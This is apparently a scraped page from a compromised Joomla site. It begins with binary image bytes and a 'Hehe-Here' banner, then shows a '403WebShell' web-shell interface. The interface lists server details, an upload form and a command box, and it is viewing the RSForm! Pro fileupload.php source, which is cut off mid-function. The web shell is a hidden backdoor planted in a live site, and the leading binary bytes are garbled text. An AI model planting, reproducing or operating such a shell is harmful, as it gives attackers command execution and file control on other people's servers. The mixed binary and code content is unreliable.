....................................../////.===Hehe-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.21.27.90  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.3
System : Linux 4e27b89abc44 6.8.0-147-generic #147-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 24 11:33:16 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /sites/xo-fab.com/www/administrator/components/com_rsform/helpers/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sites/xo-fab.com/www/administrator/components/com_rsform/helpers/fields/fileupload.php
<?php
/**
* @package RSForm! Pro
* @copyright (C) 2007-2019 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\Filesystem\File;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;

require_once JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/field.php';

class RSFormProFieldFileUpload extends RSFormProField
{
	// backend preview
	public function getPreviewInput()
	{
		return '<input type="file" />';
	}

	// @desc Returns the full name of the name HTML tag (eg. form[textbox])
	public function getName()
	{
		$name = $this->namespace.'['.$this->name.']';

		if ($this->getProperty('MULTIPLE', false))
		{
			$name .= '[]';
		}

		return $name;
	}

	// functions used for rendering in front view
	public function getFormInput()
	{
		$multiple 		= $this->getProperty('MULTIPLE', false);
		$multipleplus 	= $this->getProperty('MULTIPLEPLUS', false);

		if ($multiple && $multipleplus)
		{
			$this->addScript(HTMLHelper::_('script', 'com_rsform/multipleplus.js', array('pathOnly' => true, 'relative' => true)));
			$minFiles = (int) $this->getProperty('MINFILES', 1);

			// If we require a minimum number of files to be uploaded, let's show a separate input for each upload in order to help the user
			if ($minFiles > 1)
			{
				$html = str_repeat('<div class="rsfp-field-multiple-plus">' . $this->getFileInput() . '</div>', $minFiles);
			}
			else
			{
				$html = '<div class="rsfp-field-multiple-plus">' . $this->getFileInput() . '</div>';
			}

			return $html . $this->getButtonInput();
		}
		else
		{
			return $this->getFileInput();
		}
	}

	public function getButtonInput()
	{
		$button = '<button type="button"';

		if ($attr = $this->getButtonAttributes())
		{
			foreach ($attr as $key => $value)
			{
				$button .= $this->attributeToHtml($key, $value);
			}
		}

		$maxFiles = (int) $this->getProperty('MAXFILES', 0);
		if ($maxFiles > 0)
		{
			$button .= ' data-rsfp-maxfiles="' . $maxFiles . '"';
		}
		$minFiles = (int) $this->getProperty('MINFILES', 0);
		/*
		 * We have only one maximum file => disable
		 * We have a defined number of maximum files but we've set minimum files lower => disable
		 */
		if ($maxFiles === 1 || ($maxFiles > 0 && $minFiles >= $maxFiles))
		{
			$button .= ' disabled';
		}

		$button .= ' data-rsfp-formid="' . $this->formId . '"';

		$button .= '>' . Text::_('COM_RSFORM_FILE_ADD_PLUS') . '</button>';

		return $button;
	}

	public function getFileInput()
	{
		$name			= $this->getName();
		$id				= $this->getId();
		$attr			= $this->getAttributes();
		$multiple		= $this->getProperty('MULTIPLE', false);
		$multipleplus	= $this->getProperty('MULTIPLEPLUS', false);
		$type 			= 'file';
		$additional 	= '';
		
		// Start building the HTML input
		$html = '<input';
		// Parse Additional Attributes
		if ($attr) {
			foreach ($attr as $key => $values) {
				// @new feature - Some HTML attributes (type) can be overwritten
				// directly from the Additional Attributes area
				if ($key == 'type' && strlen($values)) {
					${$key} = $values;
					continue;
				}
				$additional .= $this->attributeToHtml($key, $values);
			}
		}
		// Set the type
		$html .= ' type="'.$this->escape($type).'"';
		// Name & id
		$html .= ' name="'.$this->escape($name).'"'.
				 ' id="'.$this->escape($id).'"';
		if ($multiple)
		{
			if ($multipleplus)
			{
				$html .= ' data-rsfp-skip-ajax="true"';
			}
			else
			{
				$html .= ' multiple';
			}
		}

		if ($this->getProperty('ACCEPTEDFILESIMAGES') && $this->getProperty('SHOWIMAGEPREVIEW'))
		{
			$html .= ' onchange="RSFormPro.loadImage(this);"';
		}

		// Additional HTML
		$html .= $additional;

		$html .= $this->addDataAttributes();

		// Close the tag
		$html .= ' />';
		
		return $html;
	}

	protected function getButtonAttributes()
	{
		return array('class' => 'rsfp-field-multiple-plus-button');
	}

	protected function addDataAttributes()
	{
		$html = '';

		if ($this->isRequired())
		{
			$html .= ' data-rsfp-required="true"';
		}

		if ($this->getProperty('MULTIPLE'))
		{
			$minFiles = (int) $this->getProperty('MINFILES', 1);
			$maxFiles = (int) $this->getProperty('MAXFILES', 0);

			if ($minFiles > 0)
			{
				$html .= ' data-rsfp-minfiles="' . $minFiles . '"';
			}
			if ($maxFiles > 0)
			{
				$html .= ' data-rsfp-maxfiles="' . $maxFiles . '"';
			}
		}

		if ($this->getProperty('ACCEPTEDFILESIMAGES'))
		{
			$acceptedExts = array('jpg', 'jpeg', 'png', 'gif');

			$newWidth = (int) $this->getProperty('THUMBSIZE', 220);
			if ($newWidth === 0 || ($newWidth > 0 && version_compare(PHP_VERSION, '7.3.0', '>=')))
			{
				$acceptedExts[] = 'webp';
			}
		}
		elseif ($exts = $this->getProperty('ACCEPTEDFILES'))
		{
			$acceptedExts = RSFormProHelper::explode($exts);
		}
		else
		{
			$acceptedExts = array();
		}

		if ($acceptedExts)
		{
			array_walk($acceptedExts, array($this, 'cleanExtension'));
			$html .= ' data-rsfp-exts="' . $this->escape(json_encode($acceptedExts)) . '"';
		}

		$size = (int) $this->getProperty('FILESIZE');

		if ($size)
		{
			$html .= ' data-rsfp-size="' . ($size * 1024) . '"';
		}

		$this->addScriptDeclaration('RSFormPro.Translations.add(' . $this->formId . ', ' . json_encode($this->name) . ', ' . json_encode('VALIDATIONMESSAGE') . ', ' . json_encode($this->getProperty('VALIDATIONMESSAGE')) . ');');
		$this->addCommonTranslations();

		return $html;
	}

	private function addCommonTranslations()
	{
		static $done;

		if (!$done)
		{
			$done = true;

			$messages = array(
				'COM_RSFORM_FILE_EXCEEDS_LIMIT' => Text::_('COM_RSFORM_FILE_EXCEEDS_LIMIT'),
				'COM_RSFORM_FILE_EXTENSION_NOT_ALLOWED' => Text::_('COM_RSFORM_FILE_EXTENSION_NOT_ALLOWED'),
				'COM_RSFORM_MINFILES_REQUIRED' => Text::_('COM_RSFORM_MINFILES_REQUIRED'),
				'COM_RSFORM_MAXFILES_REQUIRED' => Text::_('COM_RSFORM_MAXFILES_REQUIRED'),
			);

			$script = '';
			foreach ($messages as $key => $message)
			{
				$script .= 'RSFormPro.Translations.addCommonTranslation(' . json_encode($key) . ', ' . json_encode($message) . ');';
			}

			$this->addScriptDeclaration($script);
		}
	}

	public function cleanExtension(&$value, $key = null)
	{
		$value = strtolower(trim($value));
	}
	
	// @desc All upload fields should have a 'rsform-upload-box' class for easy styling
	public function getAttributes() {
		$attr = parent::getAttributes();
		if (strlen($attr['class'])) {
			$attr['class'] .= ' ';
		}
		$attr['class'] .= 'rsform-upload-box';
		
		return $attr;
	}

	// process the upload file after form validation
	public function processBeforeStore($submissionId, &$post, &$files, $addToDb = true)
	{
		if (!isset($files[$this->name]))
		{
			return false;
		}

		$allFiles = array();

		$actualFiles = $this->getProperty('MULTIPLE', false) ? $files[$this->name] : array($files[$this->name]);
		foreach ($actualFiles as $actualFile)
		{
			if ($actualFile['error'] != UPLOAD_ERR_OK)
			{
				continue;
			}

			$prefixProperty = $this->getProperty('PREFIX', '');
			$destination    = RSFormProHelper::getRelativeUploadPath($this->getProperty('DESTINATION', ''));
			$sanitize       = $this->getProperty('SANITIZEFILENAME', false);

			// Prefix
			$prefix = uniqid('') . '-';
			if (strlen(trim($prefixProperty)) > 0)
			{
				$prefix = $this->isCode($prefixProperty);
			}

			// Path
			$realpath = realpath($destination . DIRECTORY_SEPARATOR);
			if (substr($realpath, -1) != DIRECTORY_SEPARATOR)
			{
				$realpath .= DIRECTORY_SEPARATOR;
			}

			// Filename
			if ($sanitize)
			{
				$file = $realpath . $prefix . $this->sanitize($actualFile['name']);
			}
			else
			{
				$file = $realpath . $prefix . $actualFile['name'];
			}

			// Upload File
			try
			{
				$uploaded = File::upload($actualFile['tmp_name'], $file);
			}
			catch (Exception $e)
			{
				$uploaded = false;
			}
			if ($uploaded)
			{
				if ($this->getProperty('ACCEPTEDFILESIMAGES', false))
				{
					if (function_exists('imagecreatefromstring'))
					{
						$newWidth = (int) $this->getProperty('THUMBSIZE', 220);

						if ($newWidth > 0)
						{
							$image = @imagecreatefromstring(file_get_contents($file));

							if ($image !== false)
							{
								$quality   = (int) $this->getProperty('THUMBQUALITY', 75);
								$extension = $this->getProperty('THUMBEXTENSION', 'jpg');

								// Try to rotate it, JPEG only
								$this->tryToRotate($image, $file);

								// If we're downsizing, IMG_BICUBIC produces better results
								if ($newWidth < imagesx($image))
								{
									$originalImage = $image;
									$image = imagescale($image, $newWidth, -1, IMG_BICUBIC);

									// for some reason BICUBIC failed...
									if ($image === false)
									{
										$image = imagescale($originalImage, $newWidth);
									}
								}
								else
								{
									$image = imagescale($image, $newWidth);
								}

								if ($image !== false)
								{
									$thumbFile = File::stripExt($file) . '.' . $extension;

									// Delete old file, we no longer need it
									File::delete($file);

									if ($extension === 'png')
									{
										imagealphablending($image, false);
										imagesavealpha($image, true);
										imagepng($image, $thumbFile);
									}
									elseif ($extension === 'jpg')
									{
										imagejpeg($image, $thumbFile, $quality);
									}
									elseif ($extension === 'webp' && function_exists('imagewebp'))
									{
										imagewebp($image, $thumbFile, $quality);
									}

									$file = $thumbFile;

									unset($image);
								}
							}
						}
					}
					else
					{
						Factory::getApplication()->enqueueMessage('COM_RSFORM_CREATING_THUMBNAILS_FROM_IMAGES_REQUIRES_GD', 'warning');
					}
				}

				// Trigger Event - onBeforeStoreSubmissions
				Factory::getApplication()->triggerEvent('onRsformFrontendAfterFileUpload', array(array('formId' => $this->formId, 'submissionId' => $submissionId, 'fieldname' => $this->name, 'file' => $file, 'name' => $prefix . $actualFile['name'], 'addToDb' => $addToDb)));

				$allFiles[] = $file;
			}
		}

		if (!$allFiles)
		{
			return false;
		}

		$object = (object) array(
			'SubmissionId' 	=> $submissionId,
			'FormId'		=> $this->formId,
			'FieldName'		=> $this->name,
			'FieldValue'	=> implode("\n", $allFiles)
		);

		if ($addToDb)
		{
			Factory::getDbo()->insertObject('#__rsform_submission_values', $object, 'SubmissionValueId');
		}

		return $object;
	}

	protected function tryToRotate(&$image, $file)
	{
		if (!function_exists('exif_read_data') || !function_exists('exif_imagetype') || !function_exists('imagerotate'))
		{
			return false;
		}

		if (exif_imagetype($file) !== IMAGETYPE_JPEG)
		{
			return false;
		}

		$data = exif_read_data($file);

		if ($data === false || !isset($data['Orientation']) || $data['Orientation'] == 1)
		{
			return false;
		}

		switch ($data['Orientation'])
		{
			case 2:
				$image = $this->imageFlip($image, 2);
				break;

			case 3:
				$image = $this->imageFlip($image, 3);
				break;

			case 4:
				$image = $this->imageFlip($image, 3);
				$image = $this->imageFlip($image, 2);
				break;

			case 5:
				$image = imagerotate($image, 270, 0);
				$image = $this->imageFlip($image, 2);
				break;

			case 6:
				$image = imagerotate($image, 270, 0);
				break;

			case 7:
				$image = $this->imageFlip($image, 2);
				$image = imagerotate($image, 270, 0);
				break;

			case 8:
				$image = imagerotate($image, 90, 0);
				break;
		}

		return true;
	}

	protected function imageFlip($imgsrc, $mode)
	{
		$width  = imagesx($imgsrc);
		$height = imagesy($imgsrc);

		$src_x = 0;
		$src_y = 0;
		$src_width  = $width;
		$src_height = $height;

		switch ($mode)
		{
			case 1:
				$src_y = $height - 1;
				$src_height = -$height;
				break;

			case 2:
				$src_x = $width - 1;
				$src_width = -$width;
				break;

			case 3:
				$src_x = $width - 1;
				$src_y = $height - 1;
				$src_width 	= -$width;
				$src_height = -$height;
				break;

			default:
				return $imgsrc;
				break;
		}

		$imgdest = imagecreatetruecolor($width, $height);
		if (imagecopyresampled($imgdest, $imgsrc, 0, 0, $src_x, $src_y , $width, $height, $src_width, $src_height))
		{
			return $imgdest;
		}

		return $imgsrc;
	}

	protected function sanitize($string)
    {
        // Remove any '-' from the string since they will be used as concatenaters
        $str = str_replace('-', ' ', $string);

        // Transliterate on the current language
        $str = Factory::getLanguage()->transliterate($str);

        // Trim white spaces at beginning and end
        $str = trim($str);

        // Remove any duplicate whitespace, and ensure all characters are alphanumeric
        $str = preg_replace('/(\s|[^A-Za-z0-9\-\.])+/', '-', $str);

        // Trim dashes at beginning and end of alias
        $str = trim($str, '-');

        return $str;
    }

    public function md5(&$item, $key)
	{
		$item = md5($item);
	}

    public function removeHashedValues(&$form, $delete)
	{
		if (empty($form) || !is_array($form) || empty($delete) || !is_array($delete))
		{
			return false;
		}

		$hashes = $form;
		array_walk($hashes, array($this, 'md5'));

		foreach ($delete as $hashToDelete)
		{
			$position = array_search($hashToDelete, $hashes);

			if ($position !== false)
			{
				if (is_file($form[$position]))
				{
					File::delete($form[$position]);
				}
				unset($form[$position]);
			}
		}

		return true;
	}

	public function processValidation($validationType = 'form', $submissionId = 0)
	{
		$db 		= Factory::getDbo();
		$required 	= $this->isRequired();
		$multiple 	= $this->getProperty('MULTIPLE', false);
		$files 		= Factory::getApplication()->input->files->get('form', null, 'raw');

		if ($validationType == 'directory')
		{
			$query = $db->getQuery(true)
				->select($db->qn('FieldValue'))
				->from($db->qn('#__rsform_submission_values'))
				->where($db->qn('FieldName') . ' = ' . $db->q($this->name))
				->where($db->qn('SubmissionId') . ' = ' . $db->q($submissionId));

			if ($alreadyUploaded = $db->setQuery($query)->loadResult())
			{
				$alreadyUploaded = RSFormProHelper::explode($alreadyUploaded);
			}
			else
			{
				$alreadyUploaded = array();
			}

			$delete = Factory::getApplication()->input->post->get('delete', array(), 'array');
			if (!empty($delete[$this->name]))
			{
				$this->removeHashedValues($alreadyUploaded, $delete[$this->name]);
			}
		}

		try
		{
			// No $_FILES, but required
			if (!$files && $required)
			{
				return false;
			}

			// $_FILES exists but not for our own field
			if (!isset($files[$this->name]))
			{
				$actualFiles = array();
			}
			else
			{
				if ($multiple)
				{
					$actualFiles = $files[$this->name];
				}
				else
				{
					$actualFiles = array($files[$this->name]);
				}
			}

			// Since we can't rely on counting $_FILES we need to count each correct file
			$countFiles = 0;

			$allowImages = $this->getProperty('ACCEPTEDFILESIMAGES', false);
			$newWidth    = (int) $this->getProperty('THUMBSIZE', 220);

			foreach ($actualFiles as $actualFile)
			{
				$name 	= $actualFile['name'];
				$error 	= $actualFile['error'];
				$size	= $actualFile['size'];

				// File has been uploaded correctly to the server
				if ($error == UPLOAD_ERR_OK)
				{
					// Let's check if the extension is allowed
					$extParts 		= explode('.', $name);
					$ext 			= strtolower(end($extParts));
					$acceptedExts   = false;
					if ($allowImages)
					{
						$acceptedExts = array('jpg', 'jpeg', 'png', 'gif');
						if ($newWidth === 0 || ($newWidth > 0 && version_compare(PHP_VERSION, '7.3.0', '>=')))
						{
							$acceptedExts[] = 'webp';
						}
					}
					elseif ($exts = $this->getProperty('ACCEPTEDFILES'))
					{
						$acceptedExts = RSFormProHelper::explode($exts);
					}

					// Let's check only if accepted extensions are set
					if ($acceptedExts)
					{
						$accepted = false;

						foreach ($acceptedExts as $acceptedExt)
						{
							$acceptedExt = trim(strtolower($acceptedExt));
							if (strlen($acceptedExt) && $acceptedExt == $ext)
							{
